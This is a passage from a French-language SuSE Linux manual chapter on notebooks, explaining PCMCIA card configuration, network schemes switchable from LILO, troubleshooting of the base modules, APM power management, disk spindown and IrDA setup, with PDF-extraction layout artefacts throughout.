PCMCIA contient le type du contrôleur PCMCIA. Cette valeur est automatiquement déterminée lors de l'installation et elle est presque toujours fixée à i82365 . Les deux va- riables restantes, PCMCIA_PCIC_OPTS et PCMCIA_CORE_OPTS , contiennent des options pour les modules de base et peuvent, en cas normal, rester vides. L'option do_pnp=0 prévue par défaut dans PCMCIA_CORE_OPTS n'est essen- tielle que pour les notebooks Compaq. Le choix du module pilote approprié à la carte utilisée étant fait par le gestionnaire de périphériques (cardmgr ), il n'est plus nécessaire, en général, d'effectuer d'autres configurations maté- rielles. Ethernet et TokenRing Les connexions réseau Ethernet ou TokenRing peuvent être configurées sans problème avec YaST . Le dialogue `Configuration de base du ré- seau' se trouve sous `Administration du système' ! `Configurer le réseau'. La configuration se fait comme pour les périphériques_ inté- grés. Outre cela, le périphérique concerné doit être marqué, avec |F___|9, comme périphérique PCMCIA. Voir le paragraphe 3.6.3 page 106. Il doit être tenu compte de ce qui suit : ~ Lorsque plusieurs périphériques Ethernet ou TokenRing ont été marqués comme étant PCMCIA, seule la configuration du premier périphérique sera prise en compte. ~ Contrairement à ce qui se passe pour les cartes réseau normales, les confi- gurations deviennent_immédiatement actives dès que vous quittez le dia- logue avec |F____1|0. ~ Les noms de périphériques (eth0 , eth1 , tr0 : : : ) ne sont affichés que pour fournir une information sur le type de périphérique car avec PCMCIA, la numérotation se fait de façon dynamique. ~ Si une entrée qui a été désactivée est maintenant réactivée avec | ____|F4, le périphérique_doit de nouveau être marqué comme périphérique PCMCIA avec |F___|9. ISDN Pour les cartes PC ISDN, la configuration se fait aussi de la manière habi- tuelle. Voir le paragraphe 6.2 page 173. Il suffit de marquer la carte comme pé- riphérique PCMCIA dans `Configuration de base du réseau' (sous `Administration_ du système' ! `Configurer le réseau') avec la touche |___F|9. Dans le dialogue `Configuration du matériel ISDN', il n'est pas nécessaire de spécifier d'IRQ ni de port d'E/S. Le protocole de transmission (Euro-ISDN ou 1TR6) ne peut pas ici être modifié. Parmi les cartes PCMCIA, il existe ce que l'on appelle les modems ISDN. Ce sont en général des cartes modem ou des cartes multifonctions avec un ``kit de connexion ISDN'' supplémentaire. Ces cartes sont traitées comme des modems. * * 319 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ Modem Pour les cartes PC modem, il n'existe pas normalement de configurations spécifiques PCMCIA. Dès qu'un modem est inséré, il est disponible sous /dev/modem. La configuration avec wvdial (wvdial ) se fait comme pour les modems ordinaires. Voir le paragraphe 6.6 page 190. SCSI et IDE Le module adéquat est chargé par le gestionnaire de périphériques. Dès qu'une carte SCSI ou IDE est insérée, les périphériques qui y sont raccor- dés sont mis à disposition. Les noms de + périphériques sont déterminés dy- namiquement. Vous trouverez, sous /proc/scsi ou sous /proc/ide des informations sur les périphériques SCSI ou IDE présents dans votre système. ________________________________________________________________________________________________________* *________|| | Les disques durs externes, les lecteurs de CD-ROM et autres périphériques * * |||| | * * ||| | doivent être activés avant que la carte PCMCIA ne soit insérée dans l'em- * * ||| | * * ||| | placement prévu pour l'enfichage. Les périphériques SCSI requièrent des * * ||| | terminaisons actives. * * ||| | * * ||| | Important : Avant qu'une carte SCSI ou IDE ne soit retirée, toutes les par- * * ||| | titions des périphériques qui y sont raccordés doivent avoir été démontées. * * ||| | * * ||| | Si ceci a été omis, il ne sera possible d'accéder de nouveau à ces périphé- * * ||| | riques qu'après un réamorçage du système, bien que le reste du système * * ||| | * * ||| | continue à tourner de façon tout à fait stable. * * ||| |_______________________________________________________________________________________________________* *________|||_ On peut aussi installer Linux intégralement sur de tels disques externes. Le processus d'amorçage est cependant un peu plus compliqué. Il est en tout cas nécessaire d'avoir une disquette d'amorçage qui contient le noyau et un disque virtuel d'initialisation (initrd). Vous trouverez des informations complémentaires à ce sujet au paragraphe 16.2 page 424. initrd contient un système de fichiers qui inclut tous les modules et programmes PCMCIA nécessaires. La disquette d'amorçage SuSE Linux et les images de disquettes d'amorçage sont construites de la même manière, ce qui signifie que vous pouvez toujours les utiliser pour amorcer votre installation externe. Il est cependant plutôt fastidieux de charger manuellement à chaque fois le sup- port PCMCIA. Les utilisateurs expérimentés peuvent créer eux-mêmes une disquette d'amorçage taillée sur mesure pour leur système1 . 11.1.4 Configurations pour changer d'environnement ~ ~ les ``schemes'' Sur un ordinateur mobile, on a souvent besoin de différentes configurations pour pouvoir, par exemple, travailler au bureau et à la maison. Avec les péri- phériques PCMCIA, ceci ne constitue pas un problème. Les fichiers de confi- guration doivent cependant être adaptés à la main, YaST ne pouvant pas en- core se charger de cette tâche. La description qui va suivre ne s'applique pas encore à ISDN ou aux modems2 . _____________________________________________1 Vous trouverez des informations à ce sujet dans le PCMCIA-HOWTO au paragraphe 5.3 ``Booting from a PCMCIA device''. 2 Avec ISDN, vous pouvez créer en remplacement plusieurs fichiers de périphériques ISDN avec les mêmes adresses réseau et la même route par défaut. Ceux-ci ne seront pas démarrés 320 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ En relation avec PCMCIA, on appelle une configuration un ``schéma'' (angl. scheme). Les fichiers de configuration pour périphériques PCMCIA situés sous /etc/pcmcia/*.opts peuvent contenir plusieurs schémas. Les données d'un schéma sont déposées dans des blocs de configuration accessibles au moyen d'une ``adresse''. Les adresses sont des mots sépa- rés par des virgules. Le premier mot est le nom d'un schéma. Les mots suivants contiennent des informations concernant par exemple l'emplace- ment dans lequel la carte est enfichée ou le numéro d'une partition de disque dur. Vous trouverez plus de détails à ce sujet au début des fichiers /etc/pcmcia/*.opts ou dans le PCMCIA-HOWTO . Le schéma standard utilisé par SuSE Linux a pour nom SuSE . Ce schéma SuSE est modifié au moyen de SuSEconfig lorsque la connexion réseau est configurée avec YaST . Pour cette raison, les modifications effectuées manuellement dans ce schéma seront perdues dès que SuSEconfig sera de nouveau lancé. Nous allons illustrer la configuration des schémas par l'exemple d'une carte Ethernet. Deux schémas du nom de work et de home vont être créés. Pour cela, on aura besoin de plusieurs blocs de configuration dans le fichier /etc/ pcmcia/network.opts (voir le fichier 11.1.1 page suivante). Ces blocs au- ront les adresses suivantes : ~ SuSE,*,*,* : Ce bloc devrait être conservé si vous souhaitez continuer à utiliser YaST pour une configuration simple. ~ work,*,*,* : Dans ce bloc, le réseau à utiliser au bureau est configuré. Le prochain bloc est similaire et ~ home,*,*,* : contient les données à utiliser à la maison. ~ *,*,*,* : Ce bloc aussi est déjà présent et sert à la configuration de tous les schémas qui n'ont pas encore été mentionnés. La manière la plus simple de configurer un bloc est d'y insérer les données à l'aide de YaST , de faire ensuite copier le bloc SuSE adapté par SuSEconfig et de le renommer pour qu'il devienne, selon le cas, work ou home . Si vous voulez tout configurer à la main, vous trouverez l'explication de certains termes tels que NETMASK , BROADCAST etc. dans le tableau 5.1 page 156 et toutes les valeurs spécifiques dans le PCMCIA-HOWTO (la version actuelle se trouve sous /usr/doc/packages/pcmcia). Il est possible de basculer entre ces schémas lors de l'amorçage ou pen- dant le fonctionnement du système. Le schéma actuellement actif est mon- tré par la commande cardctl scheme . Cette commande permet aussi de passer d'un schéma à l'autre en cours de fonctionnement du système, très exactement de la manière suivante : cardctl scheme . Cette configuration n'est pas perdue lors d'un nouveau démarrage du sys- tème. En d'autres termes, le schéma choisi en dernier demeure encore actif après le prochain amorçage et ceci aussi longtemps qu'il n'aura pas été ex- plicitement sélectionné un autre schéma lors de l'amorçage. Il est possible de sélectionner un schéma au cours de l'amorçage en positionnant la variable ____________________________________________________ automatiquement mais manuellement. ~ Avec les modems, vous pouvez utiliser plusieurs profils différents avec wvdial . * * 321 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ | * * | | * * | | * * | | * * | ________________________________________________________________________________________________________* *________|||| | # The address format is "scheme,socket,instance,hwaddr" . * * | | case "$ADDRESS" in * * | | SuSE,*,*,*) * * | | INFO="This scheme is to be configured by YaST/SuSEconfig" * * | | * * | | # [... gekürzt ...] * * | | ;; * * | | work,*,*,*) * * | | INFO="Configuration réseau pour le bureau (work) par DHCP" * * | | * * | | IF_PORT="" * * | | BOOTP="n" * * | | DHCP="y" * * | | * * | | IPADDR="" * * | | NETMASK="" * * | | NETWORK="" * * | | BROADCAST="" * * | | * * | | GATEWAY="" * * | | DOMAIN="" * * | | SEARCH="" * * | | DNS_1="" * * | | * * | | MOUNTS="" * * | | start_fn () { return; } * * | | stop_fn () { return; } * * | | ;; * * | | * * | | home,*,*,*) * * | | INFO="Configuration pour la maison (home) avec adresse fixe" * * | | IF_PORT="" * * | | BOOTP="n" * * | | * * | | DHCP="n" * * | | IPADDR="10.0.1.23" * * | | NETMASK="255.255.255.0" * * | | NETWORK="10.0.1.0" * * | | * * | | BROADCAST="10.0.1.255" * * | | GATEWAY="10.0.1.1" * * | | DOMAIN="home.de" * * | | SEARCH="home.de work.de" * * | | * * | | DNS_1="10.0.1.1" * * | | MOUNTS="" * * | | start_fn () { return; } * * | | stop_fn () { return; } * * | | * * | | ;; * * | | *,*,*,*) * * | | INFO="Sample private network setup" * * | | * * | | # [... gekürzt ...] * * | | ;; * * | | esac * * | |_______________________________________________________________________________________________________* *________ | fichier 11.1.1: /etc/pcmcia/network.opts 322 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ |||||||| | _______________________________________________________________________________________________________________________|| |||||||| image = /boot/vmlinuz | |||||||| root = /dev/hda7 | |||||||| | |||||||| label = work | |||||||| alias = w | |||||||| append = xzx SCHEME=work xzx | |||||||| # | |||||||| | |||||||| image = /boot/vmlinuz | |||||||| root = /dev/hda7 | |||||||| label = home | |||||||| alias = h | |||||||| | |||||||| append = xzx SCHEME=home xzx | |||||||| # | |||||||| image = /boot/vmlinuz | |||||||| root = /dev/hda7 | |||||||| | |||||||| label = suseconf | |||||||| alias = s | |||||||| append = xzx SCHEME=SuSE xzx | ||||||||_______________________________________________________________________________________________________________ | fichier 11.1.2: PCMCIA : Extrait de lilo.conf SCHEME= à l'invite (LILO : ). Vous trouverez des infor- mations sur l'invite d'amorçage au paragraphe 14.3.2 page 370. Si vous désirez créer un ou plusieurs schémas d'amorçage constants, vous pouvez configurer LILO de manière adéquate. Vous devez pour cela uti- liser dans le fichier /etc/lilo.conf le paramètre append . Nous conti- nuons avec notre exemple et nous créons trois configurations de démarrage. Elles devraient être semblables à celles du fichier 11.1.2. Après modifica- tion de /etc/lilo.conf, la commande lilo doit être lancée. Comme dans l'exemple de configuration présenté dans le fichier 11.1.2, vous pouvez dé- marrer de façon très simple l'un des schéma, en entrant w, h ou s au moment de l'amorçage Support APM Le paquetage PCMCIA de SuSE Linux est compilé sans support APM car il requiert un noyau avec support APM qui ne fonctionne pas de façon fiable sur tous les systèmes. Il vous faudra donc utiliser à la place apmd (voir paragraphe 11.2.3 page 328) pour simuler le support APM, ou recompiler le paquetage PCMCIA. Ce n'est pas tellement difficile. Il importe que pendant la recompilation le noyau adéquat tourne déjà car on extrait de celui-ci certaines informations. Le paquetage PCMCIA devrait déjà être installé mais ne doit pas encore être démarré. En cas de doute, exécutez rcpcmcia stop . Installez ensuite le paquetage source PCMCIA avec YaST et tapez : terre: # rpm -ba /usr/src/packages/SPECS/pcmcia.spec Voilà qui est fait. Maintenant il existe même sous /usr/src/packages/ RPMS un nouveau paquetage binaire que l'on peut utiliser pour d'autres sys- tèmes si le même noyau est installé. 11.1.5 Si cela ne fonctionne quand même pas Il survient parfois des problèmes si l'on utilise PCMCIA sur certains note- books ou avec certaines cartes. La plupart des difficultés peuvent être contour- * * 323 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ nées sans trop de peine à condition de procéder de façon systématique. Il convient tout d'abord de déterminer s'il s'agit d'un problème lié à une carte ou d'un problème du système de base PCMCIA. On devrait donc absolu- ment démarrer la machine sans cartes insérées. Ce n'est que lorsque le sys- tème de base fonctionnera apparement sans problème que la carte sera in- sérée. Tous les messages pouvant fournir des indices seront enregistrés dans /var/log/messages. C'est pourquoi il serait bon de visualiser ce fichier avec terre: # tail -f /var/log/messages pendant le déroulement des tests nécessaires. L'erreur peut ainsi être limitée à l'un des deux cas suivants. Le système de base PCMCIA ne fonctionne pas Si le système se bloque lors de l'amorçage dès l'apparition du message "PCM- CIA : Starting services :ö u s'il se passe d'autres choses étranges, il est possible d'empêcher le démarrage de PCMCIA lors du prochain amorçage en spécifiant NOPCMCIA=yes à l'invite d'amorçage (LILO : ). Afin de limiter un peu plus l'erreur, on charge les trois modules de base à la main les uns après les autres. Pour cela, on utilise les commandes modprobe pcmcia_core , modprobe i82365 ou ~ dans de très rares cas ~ modprobe tcic et modprobe ds . Ce sont les deux premiers modules qui sont critiques. S'il survient une erreur lors du chargement de pcmcia_core, vous pouvez trouver une aide dans la page de man de pcmcia_core (man pcmcia_core ). Les options qui y sont décrites peuvent être testées en combinaison avec la commande modprobe . Comme exemple, prenons un problème qui a déjà été causé dans le passé par le support PnP activé : PnP a provoqué, lors du chargement de pcmcia_core, un blocage immédiat du système. Dans ce cas, il a fallu désactiver le support PnP avec l'option do_pnp=0 . Pour effectuer un test, on ajouter une telle option module à la commande modprobe , ce qui donne : terre: # modprobe pcmcia_core do_pnp=0 Si l'option choisie donne un bon résultat, elle est insérée dans la variable PCMCIA_CORE_OPTS du fichier /etc/rc.config : PCMCIA_CORE_OPTS="do_pnp=0" Cette variable contient déjà l'option do_pnp=0 . Si vous avez besoin d'un sup- port PnP, vous devez donc positionner l'option à 1 . Dans le cas où plusieurs options sont utilisées, elles doivent être séparées par des espaces : PCMCIA_CORE_OPTS="do_pnp=0 probe_io=0" S'il se produit des erreurs lors du chargement de i82365 , vous pouvez avoir recours à la page de man de i82365 (man i82365 ) qui vous apportera une aide. Un problème que l'on peut rencontrer dans ce contexte est un conflit de ressources. Une interruption, un port d'E/S ou une zone de mémoire est utilisé deux fois. Le module i82365 contrôle ces ressources avant qu'elles ne soient mise à disposition pour une carte, mais il arrive parfois que ce soit précisément ce contrôle qui engendre des problèmes. Pour citer un exemple, 324 ____________________________________________________________________________________________________________11.1.__PCMCIA___* *______________________ le contrôle de l'interruption 12 (périphériques PS/2) provoque sur certaines machines le blocage de la souris et/ou du clavier. On peut y remédier avec le paramètre irq_list= . La liste doit contenir tous les IRQ pouvant être utilisés. Par conséquent : terre: # modprobe i82365 irq_list=5,7,9,10 ou de façon permanente dans /etc/rc.config : PCMCIA_PCIC_OPTS="irq_list=5,7,9,10" On dispose en outre de /etc/pcmcia/config et de /etc/pcmcia/ config.opts. Ces fichiers sont exploités par le gestionnaire de périphé- riques (cardmgr ). Les configurations qui y ont été faites n'ont d'importance que pour le chargement des modules pilotes pour les cartes PCMCIA. Dans /etc/pcmcia/config.opts, il est également possible d'inclure ou d'ex- clure des IRQ, des ports d'E/S et des zones de mémoire. La différence avec l'option irq_list réside dans le fait que les ressources excluses dans config.opts ne seront certes pas utilisées pour une carte PCMCIA mais seront cependant contrôlées par le module de base i82365. La carte PCMCIA ne fonctionne pas (correctement) Il existe ici trois variantes : La carte n'est pas reconnue, elle utile des res- sources non autorisées ou elle n'est pas fiable. Si la carte n'est pas reconnue, il apparaît, dans /var/log/messages, le mes- sage "unsupported Card in Slot x". Ce message fait seulement savoir que le gestionnaire de périphériques (cardmgr ) ne peut pas assigner de pi- lote à la carte. Pour procéder à cette assignation, il a besoin du fichier /etc/ pcmcia/config. Ce fichier est en quelque sorte la ``base de données des pi- lotes''. Il est possible d'étendre la ``base de données des pilotes'' en prenant pour modèle des entrées déjà existantes. Avec la commande cardctl ident , on peut découvrir de quelle manière la carte est identifiée. Vous trouverez des informations complémentaires dans le PCMCIA-HOWTO, paragraphe 6 (``Dealing with unsupported cards'') et particulièrement dans la page de man de pcmcia (man pcmcia ). Le fichier /etc/pcmcia/config doit être re- chargé après avoir modifié. On se sert pour cela de rcpcmcia reload . La plupart des cartes PCMCIA n'attachent pas d'importance à l'IRQ ou au port d'E/S avec lequel elles sont utilisées. Cela signifie que très souvent le problème est dû au fait qu'une ressource déjà utilisée est ensuite attribuée à un autre périphérique (CD-ROM connecté au 2ème contrôleur IDE : IRQ 15 ; port série ou port IrDA : IRQ 3, IRQ 4 ; son, imprimante IRQ 5, IRQ 7). Dans ce cas, on exclut l'utilisation de ces ressources dans /etc/pcmcia/config. opts. Si toutefois une carte déterminée requiert des paramètres spéciaux, on peut transmettre, dans config.opts, des options au module concerné. Si par exemple le module pcnet_cs doit être utilisé avec l'IRQ 5, l'entrée suivante sera alors nécessaire : module "pcnet_cs" opts "irq_list=5" Les options possibles sont décrites dans les pages de manuel qui existent pour la plupart des modules3 . S'il n'existe pas de page de manuel, différentes 3 ____________________________________________________ Astuce : rpm -ql pcmcia | grep man établit une liste de toutes les pages de manuel conte- nues dans le paquetage pcmcia. * * 325 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ options de la page de man de i82365 (man i82365 ) peuvent être envisagées, à moins que l'on préfère se familiariser avec le code source du module : : : Voici un problème que l'on rencontre parfois avec les cartes réseau de 10/100 Mbits : Le mode de transfert n'est pas reconnu automatiquement de façon correcte. On peut remédier à ce problème avec la commande ifport . Elle affiche le mode de transfert configuré et permet de le modifier. Le paramètre approprié peut être inséré dans la variable IFPORT du fichier /etc/pcmcia/network.opts. 11.1.6 Installation via PCMCIA Dans certains cas, PCMCIA est déjà nécessaire pour l'installation de SuSE Linux. Pour pouvoir en disposer, vous devez sélectionner, dans linuxrc , sous `Modules du noyau (pilote matériel)', l'option `Chargement des modules PCMCIA'. Il apparaît tout d'abord deux champs d'entrée dans les- quels vous pouvez spécifier des options pour les modules pcmcia_core et i82365. Mais normalement ces champs restent vides. Les pages de manuel pour pcmcia_core et i82365 se trouvent, sous forme de fichiers texte sur le premier CD dans le répertoire docu. Au cours de l'installation, des messages du système sont affichés_sur différentes_consoles virtuelles entre lesquelles on peut basculer avec |A____l|t+ |F_______<|x>.4 Lorsque la première partie de l'installation est achevée, le système est redé- marré, soit partiellement soit intégralement. Dans quelques rares cas, il peut arriver que le système se plante au démarrage de PCMCIA. À ce moment, l'installation est toutefois suffisamment avancée pour qu'il soit possible, avec l'option NOPCMCIA=yes , de lancer Linux sans PCMCIA, du moins en mode texte. Le paragraphe 11.1.5 page 323 apporte ici une aide. 11.1.7 Autres programmes utilitaires Le programme cardctl a déjà été évoqué ici plusieurs fois. cardctl est un outil fondamental qui permet d'obtenir des informations de PCMCIA ou d'exé- cuter certaines actions. Vous trouverez des détails dans la page de man de cardctl (man cardctl ). Mais vous pouvez aussi entrer tout simplement cardctl afin d'obtenir une liste des commandes valides. Il existe aussi pour ce programme un frontal graphique cardinfo (voir la figure 11.1 page suivante) avec lequel on peut contrôler les choses les plus importantes. Mais il ne permet malheureusement pas de basculer entre les ``schémas''. Il existe aussi un kardinfo pour les amis de KDE. Cet outil n'est pas très différent de cardinfo , c'est seulement la version ``K''. D'autres utilitaires contenus dans le paquetage pcmcia sont ifport , ifuser , probe et rcpcmcia . Ils ne sont cependant pas nécessaires pour le travail quotidien. Pour voir tout ce que contient le paquetage pcmcia, utilisez la commande rpm -ql pcmcia . _____________________________________________ 4 Dans YaST2 , on doit utiliser |C______|_trl+ |A_____|lt+ |F________|car YaST2 tourne sous le syst* *ème X Window. 326 ___________________________________________________________________________________11.2.__APM_~_Gestion_d'énergie___________* *______________________ Fig. 11.1: PCMCIA ~ Cardinfo 11.2 APM ~ Gestion d'énergie 11.2.1 Principes de base La gestion de l'énergie requiert un matériel prévu pour cet usage et des rou- tines de BIOS adéquates. La plupart des notebooks et de nombreux ordina- teurs de bureau modernes remplissent ces conditions ~ différentes fonctions d'économie d'énergie n'entrent cependant en jeu qu'en cas d'utilisation mo- bile de l'ordinateur. Nous allons maintenant décrire ces fonctions : Standby ~ Dans ce mode, seul l'affichage est désactivé et, sur certaines ma- chines, la performance du processeur est réduite. Suspend (to memory) ~ L'état complet du système est enregistré dans la mémoire de travail et l'ensemble du système est mis au repos. Dans cet état, l'ordinateur n'a besoin que de très peu d'énergie et la batterie peut couvrir, selon la machine, une période allant de 12 heures à plusieurs jours. L'avantage de ce mode est qu'il est possible, en quelques secondes, de reprendre le travail au même endroit sans avoir à réamorcer ni à re- charger les programmes nécessaires. ~ C'est ici que la mise en oeuvre de Linux se révèle attrayante car il n'est en fait jamais nécessaire d'arrêter le système (certains systèmes d'exploitation deviennent instables avec le temps). Avec la plupart des machines modernes, il suffit de fermer le cou- vert pour suspendre le système et de l'ouvrir de nouveau pour pouvoir continuer immédiatement. Hibernation (Suspend to disk) ~ Dans ce mode, l'ordinateur peut subsister jusqu'à la saison nouvelle :-) Avant que le système ne soit désactivé, son état est en effet entièrement enregistré sur le disque dur. La sortie d'hiber- nation dure de 30 à 90 secondes et ici aussi on retrouve le système tel qu'il était avant la suspension. Quelques constructeurs offrent des formes mixtes intéressantes. Contrôle de l'état des accumulateurs ~ Intéressant. Arrêt automatique ~ Intéressant aussi pour ordinateurs de bureau. Après un ``shutdown'', la machine est complètement arrêtée. * * 327 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ Désactivation du disque dur ~ Épargne pas mal d'énergie et ménage les nerfs lorsque le disque dur est bruyant. Cette fonction est toutefois dé- pendante d'autres facteurs et un éditeur qui effectue régulièrement des sauvegardes automatiques réveille continuellement le disque. Le BIOS exécute seul quelques unes des ces fonctions. Standby et Suspend peuvent être activés sur un grand nombre de notebooks par des combinai- sons de touches ou par la fermeture du couvercle. Pour cela, aucune fonc- tion n'est requise du système d'exploitation. Mais si vous voulez activer ces modes par commande ou s'il est indispensable que certaines actions soient exécutées avant la suspension, vous devez installer les paquetages appropriés ainsi qu'un noyau adéquat. 11.2.2 Le noyau adéquat Pour une fonctionnalité APM étendue, il vous faut un noyau contenant un sup- port APM. L'un des noyaux standards SuSE , qui peuvent être installés avec YaST , remplit cette condition. Il est très facile de le vérifier avec la commande cat /proc/apm . S'il apparaît ici une ligne avec des nombres divers, tout est pour le mieux. Vous devriez maintenant utiliser shutdown -h pour arrêter votre machine. Certaines implémentations de BIOS n'étant pas exactement conformes aux standards, on remarque parfois des comportements étranges. Il est possible de contourner certains problèmes par des configurations spé- ciales du noyau. Vous trouverez des informations à ce sujet dans notre base de données support http://sdb.suse.de/sdb/fr/html/ ou dans la ``Linux Laptop Homepage'' sous http://www.cs.utexas.edu/users/kharker/ linux-laptop. 11.2.3 Le démon APM Le + démon apmd est utilisé pour la surveillance de la batterie et peut déclen- cher certaines actions lorsqu'il se produit un ``standby'' ou un ``suspend''. Vous le trouverez dans le paquetage apmd, série ap. Il n'est pas absolument indis- pensable pour le fonctionnement du système mais il peut s'avérer très utile. Pour qu'il puisse être lancé automatiquement lors de l'amorçage, la variable START_APMD doit être positionnée à yes dans le fichier /etc/rc.config. Mais il peut toujours aussi être lancé manuellement avec rcapmd start . Pour la configuration, il existe quelques variables dans /etc/rc.config.d/ apmd.rc.config. Ce fichier contient des commentaires, c'est pourquoi nous ne donnerons ici que quelques informations. ~ Dans SuSE Linux, PCMCIA est compilé sans support APM. Ceux qui n'ont pas envie de recompiler le paquetage PCMCIA peuvent positionner la variable PCMCIA_SUSPEND_ON_SUSPEND à yes . Certaines cartes ne fonctionnent pas après une suspension. Dans ce cas, on a recours à la méthode forte PCMCIA_EJECT_ON_SUSPEND=yes . ~ Si après une suspension l'heure n'est plus exacte, on positionne la variable SET_CLOCK_ON_RESUME à yes . ~ Si le système X Window pose des problèmes à l'éveil du système, on peut y remédier avec LEAVE_X_BEFORE_SUSPEND=yes . 328 ___________________________________________________________________________________11.2.__APM_~_Gestion_d'énergie___________* *______________________ Le comportement d'arrêt du disque dur (``spindown'') peut en outre être adapté au fonctionnement sur batterie ou sur secteur et le système peut être arrêté automatiquement dès que le niveau de charge de la batterie commence à devenir critique. Les utilisateurs expérimentés peuvent insérer eux-mêmes d'autres fonctions dans le fichier /usr/sbin/apmd_proxy. 11.2.4 Autres commandes Le paquetage apmd contient encore quelques programmes utiles. Avec apm , vous pouvez vous informer sur la charge actuelle de la batterie et mettre le système en mode Standby (apm -S ) ou Suspend (apm -s ). Voir la page de man de apm (man apm ). La commande apmsleep suspend le système pour un temps déterminé. Voir la page de man de apmsleep (man apmsleep ). Si vous voulez voir un fichier de trace (log) sans que votre disque dur soit continuellement en fonctionnement, vous pouvez utiliser tailf à la place de tail -f Il existe bien sûr aussi des outils pour le système X Window. Dans le paque- tage apmd, on trouve également xapm qui affiche en mode graphique le niveau de charge de la batterie. Ceux qui utilisent le bureau KDE ~ ou au moins kpa- nel ~ peuvent aussi, avec kbatmon , obtenir l'affichage du niveau de charge de l'accumulateur et suspendre son système. 11.2.5 Une pause pour le disque dur Il est possible, sous Linux, de désactiver le disque dur si l'on n'a plus be- soin de ses services. On utilise à cette fin le programme hdparm avec lequel on peut régler différents paramètres des disques durs. Avec l'option -y , le disque est mis immédiatement en mode Standby, avec -Y , il est complète- ment désactivé. Avec hdparm -S 6 , on obtient un arrêt du disque après une période d'inactivité de 30 secondes. Le chiffre 6 représente ici 6 5 = 30 se- condes, la valeur 0 désactive cette fonction. Si les valeurs sont plus élevées, le multiplicateur est aussi plus grand. Vous trouverez des précisions à ce sujet dans la page de manuel. Si vous voulez que ce comportement Standby soit adapté à un fonctionnement sur batterie ou sur secteur, vous pouvez faire les configurations nécessaires dans /etc/rc.config.d/apmd.rc.config. La variable CHECK_TIME de- vrait alors être positionnée à 0 . Mais on a malheureusement souvent besoin du disque et il est ainsi constam- ment réveillé. Les responsables sont parfois des programmes (par exemple éditeurs de texte) qui sauvegardent régulièrement leurs données sur le disque dur. Certaines commandes, telles que tail -f maintiennent aussi le disque en fonctionnement mais on peut remplacer cette commande par tailf . Même en l'absence de tels programmes, le disque ne reste pas toujours au repos car il existe un processus qui le dérange régu- lièrement dans son juste sommeil. Il faut en effet savoir que sous Linux les données ne sont jamais écrites directement sur le disque mais tout d'abord dans des tampons que le noyau tient à disposition et qui permettent d'accélé- rer les opérations d'écriture. Pour éviter toute perte de données, un démon de * * 329 11. Notebooks ~ PCMCIA,_APM,_IrDA_________________________________________________________________________________________________* *_______________________________________@ mise à jour s'occupe, à des intervalles de temps prédéfinis, d'assurer la syn- chronisation du disque et des tampons en écrivant les données sur le disque. Depuis la version 2.2.11, ce démon fait partie intégrante du noyau et ne peut plus par conséquent être désactivé comme auparavant ni être remplacé par le ``démon de mise à jour mobile''. On peut malgré influer sur son comportement par le biais du système de fichiers /proc. La commande terre: # cat /proc/sys/vm/bdflush affiche les paramètres actuels et avec terre: # echo "60 500 64 256 6000 60000 3000 1884 2" \ > /proc/sys/vm/bdflush de nouveau paramètres sont définis. Si vous souhaitez effectuer ces modifi- cations, vous devriez rechercher dans /usr/src/linux/Documentation/ proc.txt la signification des différents nombres. Avec sync , vous pouvez synchroniser le disque dur à la main. 11.3 IrDA ~ Infrared Data Association IrDA (Infrared Data Association) est un standard industriel pour commu- nication sans câble au moyen de lumière infrarouge. De nombreux laptops sont aujourd'hui dotés d'un récepteur/émetteur compatible IrDA qui permet la communication avec d'autres périphériques tels qu'imprimantes, modems, LAN ou d'autres laptops. Le taux de transmission varie de 2400 bps à 4 Mbps. ________________________________________________________________________________________________________* *________|| | Le support pour ce protocole dans le noyau Linux est encore en cours de * * |||| | développement. Cette fonctionnalité considérée comme ``expérimentale'' * * ||| | * * ||| | (stade bêta) n'est donc pas intégrée dans les noyaux standards. Cela signifie * * ||| | que ce ``tout jeune'' pilote n'a pas été testé à fond et peut se révéler moins * * ||| | * * ||| | stable que d'autres composants du noyau. * * ||| |_______________________________________________________________________________________________________* *________|||_ Logiciels Le paquetage irda offre un support pour l'interface infrarouge et le protocole IrDA. Après installation du paquetage, vous trouverez la documentation sous /usr/doc/packages/irda/README. Le IR-HOWTO est installé à partir du paquetage howto. Vous le trouverez après l'installation sous /usr/doc/howto/en/IR-HOWTO.gz. Des informations complémentaires sur le projet IrDA Linux vous sont fournies sous http: //www.cs.uit.no/linux-irda. Configuration Lors de l'installation, ce paquetage insère les variables START_IRDA , IRDA_PORT et IRDA_IRQ dans le fichier /etc/rc.config. Par défaut, IrDA est désactivé, mais avec la commande terre: # rcirda start vous pouvez à tout moment activer manuellement l'interface ou la désactiver (avec le paramètre stop ). Lorsque l'interface est activée, les modules du noyau nécessaires sont automatiquement chargés. 330 ______________________________________________________________________11.3.__IrDA_~_Infrared_Data_Association_______________* *______________________ Avec IRDA`PORT (par défaut /dev/ttyS1 ) et IRDA_IRQ (valeur par dé- faut 3 ), vous pouvez configurer l'interface utilisée pour IrDA. Ceci est déter- miné au moyen du script /etc/irda/drivers lors de l'activation du support infrarouge. Si vous positionnez START`IRDA à yes , le support de l'interface infrarouge est disponible immédiatement après l'amorçage. Malheureusement IrDA re- quiert nettement plus de courant (de batterie) car un paquet ``Discovery'' est envoyé toutes les quelques secondes pour reconnaître automatiquement d'autres périphériques. Utilisation Si l'on veut par exemple imprimer par infrarouge, il est possible de trans- mettre les données par le biais du fichier de périphérique /dev/irlpt0. Le fichier de périphérique /dev/irlpt0 se comporte de la même manière que l'interface normale /dev/lp0 à cette différence près que les données d'im- pression sont transmises sans câble par lumière infrarouge Une imprimante utilisée à l'aide d'une interface infrarouge peut être mise en place avec YaST comme une imprimante sur port parallèle ou sur port série (voir paragraphe 3.6.1 page 101). Lorsque vous imprimez, veillez à ce que l'imprimante se trouve dans le champ de vision de l'interface infrarouge de l'ordinateur et que le support infrarouge soit activé. Si l'on veut communiquer à travers une interface infrarouge avec d'autres ma- chines ou par exemple avec des téléphones cellulaires ou autres appareils si- milaires, ceci peut se faire à l'aide du fichier de périphérique /dev/ircomm0. Avec le S25 de Siemens, par exemple, il est possible de se connecter à Internet 